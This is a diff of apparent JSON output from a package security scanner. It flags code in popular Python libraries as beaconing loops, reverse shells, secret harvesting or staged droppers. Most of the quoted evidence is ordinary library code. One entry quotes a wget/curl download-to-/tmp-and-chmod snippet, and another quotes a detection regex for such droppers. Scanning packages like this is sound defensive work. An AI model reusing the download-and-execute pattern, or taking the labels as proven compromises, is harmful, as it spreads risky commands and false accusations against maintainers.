+      "evidence": "L1052:             return importlib.import_module(\".\" + module_name, self.__name__)",
       "evidence_hash": "e584ecfdb097d9482bb19cd3992813bc1a119cfd4c40af14748bafe22900d91e"
     },
     {
@@ -79,7 +79,7 @@
       "file": "diffusers/utils/testing_utils.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L233:         value = os.environ[key]\nNetwork: L688:             response = requests.get(arry, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L709:     response = requests.get(url, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L728:             image = PIL.Image.open(requests.get(image, stream=True, timeout=DIFFUSERS_REQUEST_TIMEOUT).raw)",
+      "evidence": "Env: L236:         value = os.environ[key]\nNetwork: L691:             response = requests.get(arry, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L712:     response = requests.get(url, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L731:             image = PIL.Image.open(requests.get(image, stream=True, timeout=DIFFUSERS_REQUEST_TIMEOUT).raw)",
       "evidence_hash": "671190a6106c6ee9674e5e5942dc0940e1d2f8c78d5faf674413c2345b783fd9"
     },
     {
@@ -90,12 +90,20 @@
       "evidence": "Archive: L317: a['TarFileType'] = tarfile.open(fileobj=_fileW,mode='w')\nNetwork: L330: x['SocketType'] = _socket = socket.socket()",
       "evidence_hash": "894862e547cf91b90cd6e4b495db3fb05b7490ef0d63de7e795a7e3d9447d850"
     },
+    {
+      "package": "fastapi",
+      "file": "fastapi/routing.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L586:                                 while True: sha256:251135b5ebfdd1248916449f32262575e003ef64382501c65b7e4061d67bda45",
+      "evidence_hash": "365aef4449c8089753d9398417cd76ab762cef547d75db70d87bca9c0b550ab5"
+    },
     {
       "package": "fastmcp-slim",
       "file": "fastmcp/cli/apps_dev.py",
       "check": "Creates archive with sensitive data AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Archive: L1340:     with tarfile.open(fileobj=io.BytesIO(data), mode=\"r:gz\") as tar:\nNetwork: L1291:     with httpx.Client(timeout=30.0) as client: | L1305:     with httpx.Client(timeout=30.0) as client: | L1335:     with httpx.Client(timeout=30.0) as client: | L1537:         client = httpx.AsyncClient(\nL1538:             timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1539:         ) | L1701:     async with httpx.AsyncClient(trust_env=False) as client: | L1769:                     with socket.socket(family, socket.SOCK_STREAM) as s:",
+      "evidence": "Archive: L1353:     with tarfile.open(fileobj=io.BytesIO(data), mode=\"r:gz\") as tar:\nNetwork: L1304:     with httpx.Client(timeout=30.0) as client: | L1318:     with httpx.Client(timeout=30.0) as client: | L1348:     with httpx.Client(timeout=30.0) as client: | L1549:         client = httpx.AsyncClient(\nL1550:             timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1551:         ) | L1713:     async with httpx.AsyncClient(trust_env=False) as client: | L1781:                     with socket.socket(family, socket.SOCK_STREAM) as s:",
       "evidence_hash": "73a7a72013e9f800627ea07e6dbc3beeb8c905a6a5480c8fd896f0063173d25c"
     },
     {
@@ -103,8 +111,8 @@
       "file": "fastmcp/cli/apps_dev.py",
       "check": "Enumerates filesystem AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "FS: L624:     history.replaceState(null, \"\", url); sha256:fd8dbfa8af4dea2ce43f4d441f3f81239de341b76a2eb0a33c446f6757ce5f43\nNetwork: L1291:     with httpx.Client(timeout=30.0) as client: | L1305:     with httpx.Client(timeout=30.0) as client: | L1335:     with httpx.Client(timeout=30.0) as client: | L1537:         client = httpx.AsyncClient(\nL1538:             timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1539:         ) | L1701:     async with httpx.AsyncClient(trust_env=False) as client: | L1769:                     with socket.socket(family, socket.SOCK_STREAM) as s:",
-      "evidence_hash": "6ada4a9111213bdee5ea24c70a72ec4acdc8ffe0de4a01fd9835bc261ccab8f8"
+      "evidence": "FS: L637:     history.replaceState(null, \"\", url); sha256:17068ba5bfed62c3a3007ec8bf3e0ea41ef6529b9e6112064d9afb3be9231436\nNetwork: L1304:     with httpx.Client(timeout=30.0) as client: | L1318:     with httpx.Client(timeout=30.0) as client: | L1348:     with httpx.Client(timeout=30.0) as client: | L1549:         client = httpx.AsyncClient(\nL1550:             timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1551:         ) | L1713:     async with httpx.AsyncClient(trust_env=False) as client: | L1781:                     with socket.socket(family, socket.SOCK_STREAM) as s:",
+      "evidence_hash": "e5325edfada6499540e6f0c24a0868979d275522e2b6a180aa9b5dd3280681b4"
     },
     {
       "package": "fonttools",
@@ -132,19 +140,35 @@
     },
     {
       "package": "huggingface-hub",
-      "file": "huggingface_hub/hf_api.py",
+      "file": "huggingface_hub/_sandbox.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L3746:         while True: sha256:0c73ed1a7447120b112c063b14e720c6695bc11d00eb6b912cd0f10dc3e29b31",
-      "evidence_hash": "22f50b930e44146c5350bb99e6e6ebb09feea9bf1e899e407bedc4ffaf06721b"
+      "evidence": "L1179:             while True: sha256:33ceddf9e42aae207e891e97808c518e92a0b27ab60e4326256717bfb25a3a38",
+      "evidence_hash": "802fd41d8bb17bf425e99d128c0351c820103a5efb74690a4086e542a71437b8"
+    },
+    {
+      "package": "huggingface-hub",
+      "file": "huggingface_hub/_sandbox.py",
+      "check": "Writes to /tmp and executes (staged dropper)",
+      "severity": "CRITICAL",
+      "evidence": "L83: d=/tmp/.sbx-server\nL84: if command -v wget >/dev/null 2>&1; then wget -q --header \"Authorization: Bearer $SBX_DL_TOKEN\" -O \"$d\" \"$SBX_SERVER_URL\"\nL85: elif command -v curl >/dev/null 2>&1; then curl -fsSL -H \"Authorization: Bearer $SBX_DL_TOKEN\" -o \"$d\" \"$SBX_SERVER_URL\"\nL86: else cp \"$SBX_SERVER_MOUNT/sbx-server\" \"$d\"; fi\nL87: chmod +x \"$d\"",
+      "evidence_hash": "6908a3fe328fa94ee22a119998d6ad07cfa1ba4efa2628acf240f4204fd76e22"
     },
     {
       "package": "huggingface-hub",
       "file": "huggingface_hub/hf_api.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L4600:         while True: sha256:f4a851312a1832efe1b435aa1275a82184e19cc3f47e2cd244373d56c11de272",
-      "evidence_hash": "dc8fcf44788e32f42d1cc2eb0e2deb55eb2dbf2c3a55909a7d503e450f45e602"
+      "evidence": "L4677:         while True: sha256:04afb38843e4125d1476f3f04bdad0edf1f63f8d75ad49a713b13e4bc68612fb",
+      "evidence_hash": "18877a2502c862b46a5d7e33fa7c39ab4ef32da7e1b07f596fd455f4376770c6"
+    },
+    {
+      "package": "huggingface-hub",
+      "file": "huggingface_hub/hf_api.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L3746:         while True: sha256:0c73ed1a7447120b112c063b14e720c6695bc11d00eb6b912cd0f10dc3e29b31",
+      "evidence_hash": "22f50b930e44146c5350bb99e6e6ebb09feea9bf1e899e407bedc4ffaf06721b"
     },
     {
       "package": "huggingface-hub",
@@ -159,8 +183,8 @@
       "file": "huggingface_hub/utils/_http.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L443:     while True: sha256:0ab4fed32d3af10f361963371f681923481377508a405b5d8770cef75f859168",
-      "evidence_hash": "1484f6b92f41c427ba8cbc7c4695a94975fea683dfa83aa510b4b0e982be4721"
+      "evidence": "L462:     while True: sha256:c75d1ee228cf7703a8c28551d649395a1f89f69a3aba69413f5bbcbd10c31958",
+      "evidence_hash": "d4d5f83fed39b87898cf776d5dad0bf1a6388a932f5fb7997d1070b50e46213e"
     },
     {
       "package": "huggingface-hub",
@@ -218,6 +242,22 @@
       "evidence": "L5: import socket sha256:915068303029fa5806199f256fb74504c65f253f9aee8ea23d8e384bb772b1c7",
       "evidence_hash": "30be130f165f418dfd37b144c5ae333de184b95f828ab8bd4010a67b84a5f814"
     },
+    {
+      "package": "multiprocess",
+      "file": "multiprocess/tests/__init__.py",
+      "check": "Reverse shell / bind shell pattern",
+      "severity": "CRITICAL",
+      "evidence": "L3355:                     os.dup2(conn.fileno(), i) | L3387:                          \"test needs os.dup2()\") | L3405:             os.dup2(fd, newfd) | L19: import socket sha256:26a745abdc7e89da28ab943394234d8ccb415e805477c3cc1f7d4766341a4c4c",
+      "evidence_hash": "a6b9bb85e9bb6682ab0dea4f95fd9266e8802f118c76d86dd87f7ab5864872cf"
+    },
+    {
+      "package": "multiprocess",
+      "file": "multiprocess/tests/__init__.py",
+      "check": "Reverse shell / bind shell pattern",
+      "severity": "CRITICAL",
+      "evidence": "L3521:                     os.dup2(conn.fileno(), i) | L3553:                          \"test needs os.dup2()\") | L3571:             os.dup2(fd, newfd) | L20: import socket sha256:07d2933301c0dbeeb6e42381687827d8dd7cfd7471986c559ca64283d5ae6e24",
+      "evidence_hash": "db1f4ca69865ec3911d7450fe11d212b817139deda21cd7a4ee32d547a8dc452"
+    },
     {
       "package": "numba",
       "file": "numba/pycc/decorators.py",
@@ -231,7 +271,7 @@
       "file": "numba/tests/support.py",
       "check": "Reverse shell / bind shell pattern",
       "severity": "CRITICAL",
-      "evidence": "L1021:         os.dup2(w, fd) | L1026:         os.dup2(save, fd)",
+      "evidence": "L1016:         os.dup2(w, fd) | L1021:         os.dup2(save, fd)",
       "evidence_hash": "fea7aa03d48bf0f4386302fa444984c4f5dfc772cfec3f1df199fd33a52eec10"
     },
     {
@@ -298,13 +338,21 @@
       "evidence": "Env: L105:     token = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\") | L150:     environment_token = os.environ.get(\"AWS_BEARER_TOKEN_BEDROCK\")\nNetwork: L415:         http_client: httpx.Client | None = None, | L531:         http_client: httpx.Client | None = None, | L649:         http_client: httpx.AsyncClient | None = None, | L767:         http_client: httpx.AsyncClient | None = None,",
       "evidence_hash": "92dbec8ccd79c1e0bc41e93cdd0bdbb091220616c6a1352873196e9dda6bd85c"
     },
+    {
+      "package": "openai",
+      "file": "openai/resources/beta/responses/responses.py",
+      "check": "C2 polling/beaconing loop detected",
+      "severity": "CRITICAL",
+      "evidence": "L3999:         while True: sha256:df298b6eaf3416589b79f4ef283f8fb76e54d505bfda8840673f8e6419117e2e",
+      "evidence_hash": "10ce5cb5a7097fcff4042ddcfb4802edda60aa4b7b113c8b926a52ddb76f78c2"
+    },
     {
       "package": "openai",
       "file": "openai/resources/beta/threads/runs/runs.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L1074:         while True: sha256:ef6d59a4a10b73a5af491f10af2885b7a309fda9468eb0f9572d19558d3ceb9f",
-      "evidence_hash": "43c03b55fedcbc980e5e6649c3c4493729128d280cc868349ab9590908ea5f99"
+      "evidence": "L1053:         while True: sha256:973bb1aeca2e17e022872dc343a1bf5d8fe33bfa59fe01e2f8fe875522db5bce",
+      "evidence_hash": "24626e4aa53047a515ead563b42c07c43f73a2c5b82978fa59f58ffc2859e19b"
     },
     {
       "package": "openai",
@@ -319,7 +367,7 @@
       "file": "openai/resources/responses/responses.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L3803:         while True: sha256:1ce0b5a388c747945cdfda1a71b77afdfd03ae840d7aa9fa62f02eb00aa5e29f",
+      "evidence": "L3950:         while True: sha256:1ce0b5a388c747945cdfda1a71b77afdfd03ae840d7aa9fa62f02eb00aa5e29f",
       "evidence_hash": "6de300ebb5e6e17cb51c89cbcdf08515a44655182f0776f0908a9d1043ebbcd7"
     },
     {
@@ -495,16 +543,16 @@
       "file": "sklearn/datasets/_openml.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L100:             while True: sha256:270363bb66980201e477f9b94886e4023f7a3d21b5ce026b7603a8c249a50c5b",
-      "evidence_hash": "53edbe07c312d459068d38e537b5114e65685ac3d4487b0423fa4542b5df20fe"
+      "evidence": "L100:             while True: sha256:1f05a1b4fdd843b309634f583cb5e919866ef38ec5aa0b7d8a66ac8820655594",
+      "evidence_hash": "69597a64e5670a0f9a3c2aafc0bde4160f6170a9e2dc38f2c413cfa8d22ad193"
     },
     {
       "package": "scikit-learn",
       "file": "sklearn/datasets/_openml.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L100:             while True: sha256:1f05a1b4fdd843b309634f583cb5e919866ef38ec5aa0b7d8a66ac8820655594",
-      "evidence_hash": "69597a64e5670a0f9a3c2aafc0bde4160f6170a9e2dc38f2c413cfa8d22ad193"
+      "evidence": "L100:             while True: sha256:270363bb66980201e477f9b94886e4023f7a3d21b5ce026b7603a8c249a50c5b",
+      "evidence_hash": "53edbe07c312d459068d38e537b5114e65685ac3d4487b0423fa4542b5df20fe"
     },
     {
       "package": "scikit-learn",
@@ -586,6 +634,14 @@
       "evidence": "L1221:       os.dup2(self.ostream.fileno(), self.orig_stream_fileno) | L1226:       os.dup2(self.orig_stream_dup, self.orig_stream_fileno)",
       "evidence_hash": "bba233b67f8ea4f0723b2fecaabf56528531bccd77ace836165bf38b47246bcc"
     },
+    {
+      "package": "sentencepiece",
+      "file": "sentencepiece/__init__.py",
+      "check": "Reverse shell / bind shell pattern",
+      "severity": "CRITICAL",
+      "evidence": "L772:             os.dup2(self.ostream.fileno(), self.orig_stream_fileno) | L777:             os.dup2(self.orig_stream_dup, self.orig_stream_fileno)",
+      "evidence_hash": "65b5a11cce128fe09b3f238c01bed7c883d1740d7d46d659118f67940f6c17dc"
+    },
     {
       "package": "setuptools",
       "file": "distutils-precedence.pth",
@@ -642,6 +698,14 @@
       "evidence": "Base64: L1211:                     content = base64.b64decode(data)\nSubprocess: L2692:                             subprocess.run(\nL2693:                                 cmd.split(), capture_output=True, text=True, check=True\nL2694:                             ) | L2995:             cmd_output = subprocess.run(\nL2996:                 (\"openssl\", \"sha512\", filename), capture_output=True, text=True\nL2997:             ) | L3707:                         out = subprocess.check_output(\nL3708:                             [\"ldd\", os.path.join(search, file)]\nL3709:                         ) | L3791:             jobs.append(functools.partial(subprocess.check_call, cmd)) | L3876:                     subprocess.check_call(\nL3877:                         shlex.split(halide_cmd_gen.get_command_line())\nL3878:                     ) | L4336:                             subprocess.check_output(\nL4337:                                 cmd_parts, stderr=subprocess.STDOUT, env=os.environ\nL4338:                             ) | L4591:                         output = subprocess.check_output(\nL4592:                             cmd_parts,\nL4593:                             stderr=subprocess.STDOUT,\nL4594:                             text=True,\nL4595:                             env=os.environ,\nL4596:                         )",
       "evidence_hash": "c09774087b702a6c5d6e2e85d9239c7c241ec938fbe9c0153e8f0b5c0710389b"
     },
+    {
+      "package": "torch",
+      "file": "torch/_inductor/codecache.py",
+      "check": "base64 decode + subprocess execution (staged payload)",
+      "severity": "CRITICAL",
+      "evidence": "Base64: L1727:                     content = base64.b64decode(data)\nSubprocess: L3270:                             subprocess.run(\nL3271:                                 cmd, capture_output=True, text=True, check=True\nL3272:                             ) | L3583:             cmd_output = subprocess.run(\nL3584:                 (\"openssl\", \"sha512\", filename), capture_output=True, text=True\nL3585:             ) | L4338:                         out = subprocess.check_output(\nL4339:                             [\"ldd\", os.path.join(search, file)]\nL4340:                         ) | L4422:             jobs.append(functools.partial(subprocess.check_call, cmd)) | L4507:                     subprocess.check_call(\nL4508:                         shlex.split(halide_cmd_gen.get_command_line())\nL4509:                     ) | L4992:                             subprocess.check_output(\nL4993:                                 cmd_parts, stderr=subprocess.STDOUT, env=os.environ\nL4994:                             ) | L5247:                         output = subprocess.check_output(\nL5248:                             cmd_parts,\nL5249:                             stderr=subprocess.STDOUT,\nL5250:                             text=True,\nL5251:                             env=os.environ,\nL5252:                         )",
+      "evidence_hash": "87f77b5f51cb84fe9950fdeeb90fe8710e1b863100e90b5e2cfb228a725bee06"
+    },
     {
       "package": "torch",
       "file": "torch/ao/__init__.py",
@@ -695,7 +759,7 @@
       "file": "torch/testing/_internal/common_utils.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L4770:         env = os.environ.copy()\nNetwork: L4832:         with request.urlopen(url, timeout=15) as f1, open(path, 'wb' if binary else 'w') as f2: | L4850:     with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:",
+      "evidence": "Env: L4900:         env = os.environ.copy()\nNetwork: L4962:         with request.urlopen(url, timeout=15) as f1, open(path, 'wb' if binary else 'w') as f2: | L4980:     with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:",
       "evidence_hash": "704a851b9d68c9b885b9e15538bd7e96f03875503b618fe6f126c4438edd7386"
     },
     {
@@ -706,6 +770,14 @@
       "evidence": "L32: import socket sha256:89faaaa8bc908e02dad73fd59b2b481fa91189c84b39b556c2766e71d2783bf3",
       "evidence_hash": "3d23d77ace91812a07cb9508cf352185d154176e8e8c8b9b28fa92cdbcfe0d53"
     },
+    {
+      "package": "torch",
+      "file": "torch/testing/_internal/common_utils.py",
+      "check": "Reverse shell / bind shell pattern",
+      "severity": "CRITICAL",
+      "evidence": "L32: import socket sha256:ba439cbf568b194872f1d974c02b0487e51f677b67e379400522d0992600bd2d",
+      "evidence_hash": "88e98b227573997f86eedea8e885a407b0dd549d46d4a3f0b840ec5aafe66865"
+    },
     {
       "package": "torchvision",
       "file": "torchvision/datasets/utils.py",
@@ -743,8 +815,8 @@
       "file": "transformers/testing_utils.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L1663:     while True: sha256:969e911d30c37a279ad915fb8c3d2d0a3f5705a7eb82ae6e00687388b68bbe65",
-      "evidence_hash": "2aa8e94baa805d599720a16afee6f08976482e301333e619e6c343389498ad15"
+      "evidence": "L1577:     while True: sha256:2c6152f9da685f728e58d39dfc1827bc794f52606f56983bf38b5c6d0857cd5b",
+      "evidence_hash": "cdada67f3327237f00838a6750a4908dfaf76b9ab30c1352495c340d4fbd15c9"
     },
     {
       "package": "transformers",
@@ -759,15 +831,15 @@
       "file": "transformers/testing_utils.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L1577:     while True: sha256:2c6152f9da685f728e58d39dfc1827bc794f52606f56983bf38b5c6d0857cd5b",
-      "evidence_hash": "cdada67f3327237f00838a6750a4908dfaf76b9ab30c1352495c340d4fbd15c9"
+      "evidence": "L1699:     while True: sha256:969e911d30c37a279ad915fb8c3d2d0a3f5705a7eb82ae6e00687388b68bbe65",
+      "evidence_hash": "2aa8e94baa805d599720a16afee6f08976482e301333e619e6c343389498ad15"
     },
     {
       "package": "transformers",
       "file": "transformers/testing_utils.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L284:         value = os.environ[key] | L300:         value = os.environ[key] | L2129:         env = os.environ.copy() | L2251:             for k in list(os.environ.keys()):\nNetwork: L2561:     with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:",
+      "evidence": "Env: L288:         value = os.environ[key] | L304:         value = os.environ[key] | L2165:         env = os.environ.copy() | L2287:             for k in list(os.environ.keys()):\nNetwork: L2597:     with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:",
       "evidence_hash": "73ff16aee09cf163fb3a7a04dfa2cf610595bde2f19460a579397695f728e3f4"
     },
     {
@@ -799,16 +871,16 @@
       "file": "trl/extras/vllm_client.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L146:         while True: sha256:2beedc742e1f085eaa10fd3bc40be97d2331d21887ef1b9ccdfa2150a184edfe",
-      "evidence_hash": "1540dffaaa053780e953e04c11d9c6b9c74b91cb60f3e6d87451ba7fe7db46db"
+      "evidence": "L152:         while True: sha256:93e7d409e300af445376e6defbe2d0241aa19ecf63ed41b780fbb91c7d09856f",
+      "evidence_hash": "208838617172de61bca201d2a1bbeb5aa5aaa55feb1a1069cf39214673a7d6d1"
     },
     {
       "package": "trl",
       "file": "trl/extras/vllm_client.py",
       "check": "C2 polling/beaconing loop detected",
       "severity": "CRITICAL",
-      "evidence": "L152:         while True: sha256:93e7d409e300af445376e6defbe2d0241aa19ecf63ed41b780fbb91c7d09856f",
-      "evidence_hash": "208838617172de61bca201d2a1bbeb5aa5aaa55feb1a1069cf39214673a7d6d1"
+      "evidence": "L146:         while True: sha256:2beedc742e1f085eaa10fd3bc40be97d2331d21887ef1b9ccdfa2150a184edfe",
+      "evidence_hash": "1540dffaaa053780e953e04c11d9c6b9c74b91cb60f3e6d87451ba7fe7db46db"
     },
     {
       "package": "trl",
@@ -866,6 +938,14 @@
       "evidence": "Crypto: L294:     r\"|\\b(?:xprv|xpub|bc1|0x[a-fA-F0-9]{40})\\b\",\nNetwork: L53: import urllib.request | L1757:         req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758:         with urllib.request.urlopen(req, timeout = 30) as resp:",
       "evidence_hash": "278ff15b0b702d37d7f0b30a1e55a31bf2b11883685718a47478fbb5ce7f5212"
     },
+    {
+      "package": "unsloth-zoo",
+      "file": "scripts/scan_packages.py",
+      "check": "Writes to /tmp and executes (staged dropper)",
+      "severity": "CRITICAL",
+      "evidence": "L308:     r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\", | L308:     r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\", sha256:78268349021e21bedcd2eaaa5b4a71b0de1d52e023ada914dfdc09515ee1aad8",
+      "evidence_hash": "590fe1c96c442fbea5eb8642650257bc0b0199e919b9bacdb11dfa767b6fe839"
+    },
     {
       "package": "unsloth-zoo",
       "file": "tests/security/fixtures/_build.py",
@@ -919,16 +999,16 @@
       "file": "tests/test_mlx_save_export_regressions.py",
       "check": "Writes to /tmp and executes (staged dropper)",
       "severity": "CRITICAL",
-      "evidence": "L164:         temporary_location=\"/tmp/ignored\", sha256:78837e80d48e872ef191aaacfe5e1c621a98a20df486a70a41d1a932d074a5b3",
-      "evidence_hash": "dd11376e664d0d7e7f4cc4baf57eacd4b7ae7b03222dce3912ce68b63dbfca1e"
+      "evidence": "L165:         temporary_location=\"/tmp/ignored\", sha256:9f8502377b19666288b28399633dfc6740a64d0cb70ad1615e38b1269f94bf37",
+      "evidence_hash": "b7262d6e58f2ebad961dd3e64ca6c32bba356b5044d7a642d7dbd36a58cb6c81"
     },
     {
       "package": "unsloth-zoo",
       "file": "tests/test_quantize_gguf_q2_k_l.py",
       "check": "Writes to /tmp and executes (staged dropper)",
       "severity": "CRITICAL",
-      "evidence": "L67:         input_gguf=\"/tmp/in.gguf\", sha256:32532cadc357beee1009f4e86481bdbe60a0b7bf47f6bb022b05ec1b8e15aed0",
-      "evidence_hash": "49f5b67379de17178f21a9bc93b79d6b94a70ecbdd16de86574934aac30a071d"
+      "evidence": "L67:         input_gguf=\"/tmp/in.gguf\", sha256:06789b55e8f31426c233f37ff7d3729cc9e1f61c0829abd2c00c39216c63c7ad",
+      "evidence_hash": "ad4913d9099eb9b70e09d6860b242eb5f48c67e46d9bf4ae35c1c38a267d753b"
     },
     {
       "package": "unsloth-zoo",
@@ -951,7 +1031,7 @@
       "file": "unsloth_zoo/llama_cpp.py",
       "check": "Creates archive with sensitive data AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Archive: L938:         with tarfile.open(archive_path, \"r:gz\") as archive:\nNetwork: L691:             response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1699:                     response = requests.get(\nL1700:                         LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL1701:                     ) | L2862:     check = requests.get(llama_cpp_chat_file, timeout = 5)",
+      "evidence": "Archive: L938:         with tarfile.open(archive_path, \"r:gz\") as archive:\nNetwork: L691:             response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1699:                     response = requests.get(\nL1700:                         LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL1701:                     ) | L2873:     check = requests.get(llama_cpp_chat_file, timeout = 5)",
       "evidence_hash": "b9f3b1652349fa8ef9ac2d1715978aca1e1632165851a00a2698dd47189e410c"
     },
     {
@@ -959,7 +1039,7 @@
       "file": "unsloth_zoo/llama_cpp.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L125: keynames = \"\\n\" + \"\\n\".join(os.environ.keys()) | L683:     token = os.environ.get(\"GH_TOKEN\") or os.environ.get(\"GITHUB_TOKEN\")\nNetwork: L691:             response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1699:                     response = requests.get(\nL1700:                         LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL1701:                     ) | L2862:     check = requests.get(llama_cpp_chat_file, timeout = 5)",
+      "evidence": "Env: L125: keynames = \"\\n\" + \"\\n\".join(os.environ.keys()) | L683:     token = os.environ.get(\"GH_TOKEN\") or os.environ.get(\"GITHUB_TOKEN\")\nNetwork: L691:             response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1699:                     response = requests.get(\nL1700:                         LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL1701:                     ) | L2873:     check = requests.get(llama_cpp_chat_file, timeout = 5)",
       "evidence_hash": "9cd0b1bb59c7eb1d814d7636dfd167c34f265eb7c4521a9d88b2bdcfd535b926"
     },
     {
@@ -1002,6 +1082,14 @@
       "evidence": "Obfusc: L87:     __import__(name)\nExec: L735:         exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")",
       "evidence_hash": "3cb7d8247dea7dd3d7b21ededc0181c58c50099aeb73c9138a286f3d1ad92d4f"
     },
+    {
+      "package": "cffi",
+      "file": "cffi/_cffi_gen_src.py",
+      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
+      "severity": "HIGH",
+      "evidence": "Obfusc: L52:     compiled = compile(source=pysrc, filename=filename, mode='exec')\nExec: L53:     exec(compiled, globs, globs)",
+      "evidence_hash": "c429e4c977a61db6b7c717b5a552fce74eda622213e49eb5467a3782fd746fb9"
+    },
     {
       "package": "cffi",
       "file": "cffi/setuptools_ext.py",
@@ -1127,7 +1215,7 @@
       "file": "numba/tests/support.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L879:     __import__(modname)\nExec: L813:     eval(co, globs, ns)",
+      "evidence": "Obfusc: L874:     __import__(modname)\nExec: L808:     eval(co, globs, ns)",
       "evidence_hash": "649a7d750f903478243b0bcb9e8020521b505fc7fedc5b696ec01f4efc096109"
     },
     {
@@ -1159,7 +1247,7 @@
       "file": "numba/tests/test_np_functions.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L7106:         exec(compile(funcstr, '<string>', 'exec'), globals(), dct)\nExec: L7106:         exec(compile(funcstr, '<string>', 'exec'), globals(), dct)",
+      "evidence": "Obfusc: L7118:         exec(compile(funcstr, '<string>', 'exec'), globals(), dct)\nExec: L7118:         exec(compile(funcstr, '<string>', 'exec'), globals(), dct)",
       "evidence_hash": "9e81164131d16056fb56ad3cd11b8d129d1ff4f5855031e8b501e0335d5c14ed"
     },
     {
@@ -1175,16 +1263,16 @@
       "file": "numpy/testing/_private/utils.py",
       "check": "Anti-analysis/sandbox evasion + suspicious behavior",
       "severity": "HIGH",
-      "evidence": "Anti: L2777:             original_trace = sys.gettrace() | L2779:                 sys.settrace(None) | L2782:                 sys.settrace(original_trace)\nSubprocess: L1478:         output = subprocess.run(cmd, capture_output=True, text=True)\nExec: L1346:     exec(astr, dict) | L1632:         exec(code, globs, locs)",
-      "evidence_hash": "27468a6828101c6c026ae25aca8aa90ef485fd62b2c8f0967479edae9c965844"
+      "evidence": "Anti: L2788:             original_trace = sys.gettrace() | L2790:                 sys.settrace(None) | L2793:                 sys.settrace(original_trace)\nSubprocess: L1486:         output = subprocess.run(cmd, capture_output=True, text=True) | L2889:     res = subprocess.run(cmd, cwd=cwd, capture_output=True, text=True,\nL2890:                          errors=\"replace\", **kwargs)\nExec: L1352:     exec(astr, dict) | L1640:         exec(code, globs, locs)",
+      "evidence_hash": "9c6961817e5b1751e572dfe0858286703bb835870ecdfd6a7a9fdd8372a5dd2b"
     },
     {
       "package": "numpy",
       "file": "numpy/testing/_private/utils.py",
       "check": "Anti-analysis/sandbox evasion + suspicious behavior",
       "severity": "HIGH",
-      "evidence": "Anti: L2788:             original_trace = sys.gettrace() | L2790:                 sys.settrace(None) | L2793:                 sys.settrace(original_trace)\nSubprocess: L1486:         output = subprocess.run(cmd, capture_output=True, text=True) | L2889:     res = subprocess.run(cmd, cwd=cwd, capture_output=True, text=True,\nL2890:                          errors=\"replace\", **kwargs)\nExec: L1352:     exec(astr, dict) | L1640:         exec(code, globs, locs)",
-      "evidence_hash": "9c6961817e5b1751e572dfe0858286703bb835870ecdfd6a7a9fdd8372a5dd2b"
+      "evidence": "Anti: L2777:             original_trace = sys.gettrace() | L2779:                 sys.settrace(None) | L2782:                 sys.settrace(original_trace)\nSubprocess: L1478:         output = subprocess.run(cmd, capture_output=True, text=True)\nExec: L1346:     exec(astr, dict) | L1632:         exec(code, globs, locs)",
+      "evidence_hash": "27468a6828101c6c026ae25aca8aa90ef485fd62b2c8f0967479edae9c965844"
     },
     {
       "package": "numpy",
@@ -1199,7 +1287,7 @@
       "file": "PIL/Image.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
